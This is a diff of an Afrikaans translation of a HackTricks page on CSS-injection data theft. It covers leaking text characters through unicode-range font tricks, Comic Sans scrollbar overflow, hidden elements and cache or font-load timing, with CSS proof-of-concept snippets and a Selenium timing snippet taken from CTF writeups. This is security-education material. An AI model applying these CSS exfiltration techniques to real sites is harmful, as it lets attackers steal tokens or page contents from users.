+Tydens hierdie oorgang word die **unicode-range trick** gebruik om elke nuwe karakter te identifiseer namate dit by die prefix aansluit. Dit word bereik deur die font na Comic Sans te skakel, wat merkbaar hoër is as die default font, en gevolglik 'n vertikale scrollbar veroorsaak. Die verskyning van hierdie scrollbar openbaar indirek die teenwoordigheid van 'n nuwe karakter in die prefix.

-Alhoewel hierdie metode die opsporing van unieke karakters toelaat soos hulle verskyn, spesifiseer dit nie watter karakter herhaal word nie, net dat 'n herhaling plaasgevind het.
+Alhoewel hierdie metode die detectie van unieke karakters soos hulle verskyn toelaat, spesifiseer dit nie watter karakter herhaal word nie — slegs dat 'n herhaling plaasgevind het.

-> [!NOTE]
-> Basies, die **unicode-range word gebruik om 'n char te detecteer**, maar aangesien ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
-> Wanneer die **char** **gevind** word, word dit die vooraf geïnstalleerde **Comic Sans font** gegee, wat die char **groter** maak en 'n **scroll bar** aktiveer wat die **gevonde char** sal **lek**.
+> [!TIP]
+> Basies, die **unicode-range is used to detect a char**, maar omdat ons nie 'n eksterne font wil laai nie, moet ons 'n ander manier vind.\
+> Wanneer die **char** **found** is, word dit die vooraf-geïnstalleerde **Comic Sans font** gegee, wat die char **bigger** maak en 'n scroll bar **triggers** wat die **leak the found char** sal veroorsaak.

-Kontroleer die kode wat uit die PoC onttrek is:
+Kyk na die kode onttrek uit die PoC:
 ```css
 /* comic sans is high (lol) and causes a vertical overflow */
@font-face {
@ -706,17 +742,17 @@ div::-webkit-scrollbar:vertical {
 background: blue var(--leak);
 }
 ```
-### Tekstnode eksfiltrasie (III): lek die karakterstel met 'n standaardlettertipe deur elemente te verberg (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

-**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Verwysing:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

-Hierdie geval is baie soortgelyk aan die vorige een, egter, in hierdie geval is die doel om spesifieke **karakters groter as ander te maak om iets te verberg** soos 'n knoppie wat nie deur die bot gedruk moet word nie of 'n beeld wat nie gelaai sal word nie. So ons kan die aksie (of die gebrek aan aksie) meet en weet of 'n spesifieke karakter teenwoordig is binne die teks.
+Hierdie geval is baie soortgelyk aan die vorige; in hierdie geval is die doel om sekere **chars groter as ander te maak om iets te versteek** soos 'n knoppie wat nie deur die bot gedruk moet word nie, of 'n image wat nie gelaai sal word nie. Ons kan dus die aksie (of die gebrek aan aksie) meet en daarmee vasstel of 'n spesifieke char in die teks voorkom.

-### Tekstnode eksfiltrasie (III): lek die karakterstel deur cache-tyd (nie eksterne bates benodig nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

-**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Verwysing:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

-In hierdie geval kan ons probeer om te lek of 'n karakter in die teks is deur 'n vals lettertipe van dieselfde oorsprong te laai:
+In hierdie geval kan ons probeer om te leak of 'n char in die teks is deur 'n fake font vanaf dieselfde origin te laai:
 ```css
@font-face {
 font-family: "A1";
@ -724,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-As daar 'n ooreenkoms is, sal die **font gelaai word vanaf `/static/bootstrap.min.css?q=1`**. Alhoewel dit nie suksesvol gelaai sal word nie, behoort die **blaaier dit te kas** en selfs al is daar geen kas nie, is daar 'n **304 not modified** meganisme, so die **antwoord behoort vinniger te wees** as ander dinge.
+If daar 'n ooreenkoms is, sal die **font will be loaded from `/static/bootstrap.min.css?q=1`**. Al sal dit nie suksesvol laai nie, behoort die **blaaier dit te cache**, en selfs as daar geen cache is nie, is daar 'n **304 not modified**-meganisme, so die **response behoort vinniger** te wees as ander dinge.

-As die tydsverskil van die gekaste antwoord van die nie-gekasde een egter nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Maar, na toetsing, het ek gevind dat die eerste probleem is dat die spoed nie baie verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` vlag gebruik, wat regtig deurdagte is.
+As die tydverskil tussen die gecachede response en die nie-gecachede een egter nie groot genoeg is nie, sal dit nie nuttig wees nie. Byvoorbeeld, die outeur het genoem: Na toetsing het ek gevind dat die eerste probleem is dat die spoed nie veel verskil nie, en die tweede probleem is dat die bot die `disk-cache-size=1` flag gebruik, wat regtig bedag is.

-### Tekstnode eksfiltrasie (III): die karakterstel lek deur die tyd te neem om honderde plaaslike "fonts" te laai (wat nie eksterne bates vereis nie) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
+### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>

-**Verwysing:** Dit word genoem as [‘n onsuksesvolle oplossing in hierdie skrywe](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
+**Verwysing:** Dit word genoem as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)

-In hierdie geval kan jy **CSS aandui om honderde vals fonts** vanaf dieselfde oorsprong te laai wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy **die tyd meet** wat dit neem en uitvind of 'n karakter verskyn of nie met iets soos:
+In hierdie geval kan jy aandui **CSS to load hundreds of fake fonts** vanaf dieselfde oorsprong wanneer 'n ooreenkoms plaasvind. Op hierdie manier kan jy die **tyd meet** wat dit neem en uitvind of 'n char verskyn of nie met iets soos:
 ```css
@font-face {
 font-family: "A1";
@ -747,13 +783,19 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-So, as die lettertipe nie ooreenstem nie, word die reaksietyd wanneer die bot besoek word, verwag om ongeveer 30 sekondes te wees. As daar egter 'n lettertipe ooreenstemming is, sal verskeie versoeke gestuur word om die lettertipe te verkry, wat die netwerk sal laat voortgaan met aktiwiteit. As gevolg hiervan sal dit langer neem om die stopvoorwaarde te bevredig en die reaksie te ontvang. Daarom kan die reaksietyd as 'n aanduiding gebruik word om te bepaal of daar 'n lettertipe ooreenstemming is.
+Dus, indien die lettertipe nie ooreenstem nie, word daar verwag dat die reaksietyd wanneer die bot besoek word ongeveer 30 sekondes sal wees. As daar egter wel 'n lettertipe-ooreenkoms is, sal verskeie versoeke gestuur word om die lettertipe op te haal, wat voortdurende netwerkaktiwiteit veroorsaak. Gevolglik sal dit langer neem om die stopvoorwaarde te bevredig en die antwoord te ontvang. Daarom kan die reaksietyd as 'n aanwyser gebruik word om te bepaal of daar 'n lettertipe-ooreenkoms is.

-## References
+## Verwysings

 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
 - [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
 - [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
+- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
+- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
+- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
+- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
+- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
+- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)

 {{#include ../../../banners/hacktricks-training.md}}